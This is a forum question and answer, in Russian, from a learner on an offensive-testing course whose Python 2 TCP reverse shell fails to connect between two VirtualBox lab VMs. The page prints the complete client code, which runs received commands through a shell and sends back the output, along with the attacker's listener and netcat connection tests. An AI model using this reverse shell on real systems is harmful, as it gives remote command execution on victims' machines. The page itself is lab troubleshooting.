Ошибка при запуске TCP Reverse shell

Я очень плохо знаком с сокетом, и в настоящее время я прохожу онлайн-курс для оскорбительных тестов. Одним из уроков является TCP Reverse shell. Я запускаю два сценария на отдельных виртуальных машинах (используя VirtualBox), один - злоумышленник, а другой - цель. Сценарий атакующего работает просто отлично, однако клиент выдает ошибку:

Traceback (most recent call last):
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 22 in <module> main()
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 21, in main connect()
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 6, in connect 
      s.connect(('10.0.2.15', 8080))
   File "C:\Python27\lib\socket.py", line 228, in meth return getattr(self._sock,name) (*args)
error: [Errno 10061] No connection could be made because the target machine actively refused it

И мой код:

import socket
import subprocess

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.0.2.15', 8080))

    while True:
        command = s.recv(1024)

        if 'terminate' in command:
            s.close()
            break
        else:

            CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send(CMD.stdout.read())
            s.send(CMD.stdout.read())

def main():
    connect()
main()

Я не знаю, нужен ли вам другой сценарий, чтобы ответить на мой вопрос, если да, пожалуйста, скажите мне. Любая помощь будет принята с благодарностью, Спиралио.

2 ответа

Решение

Убедитесь, что вы можете пропинговать между виртуальными машинами. Если это так, попробуйте что-нибудь простое, например, прослушиватель netcat, и попытайтесь подключиться к нему.

Вы можете запустить nc -lp 8080 на атакующего, а затем nc 10.0.2.15 8080 на жертве (при условии, что вы на Linux).

Эти два шага помогут вам изолировать проблему. Если ping не работает, скорее всего, ваша сеть не настроена должным образом. Сбой netcat больше указывает на брандмауэр. Беглый взгляд и больше ничего не зная о вашей настройке, я бы предположил, что ваш скрипт Python в порядке и что у вас нет двух виртуальных машин, правильно настроенных для связи.

Убедитесь, что IP-сети одинаковы, они находятся в одной сети виртуальных машин (задано в настройках Virtualbox) и, как упоминалось выше, не работают межсетевые экраны.

Код злоумышленника:

import socket

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('10.0.2.15', 8080))
    s.listen(1)
    conn, addr = s.accept()
    print 'Got a connection from: ', addr

    while True:

        command = raw_input('Shell>')

        if 'terminate' in command:
            conn.send('terminate')
            conn.close()
            break
        else:
            conn.send(command)
            print conn.recv(1024)

def main ():
    connect()
main()
Другие вопросы по тегам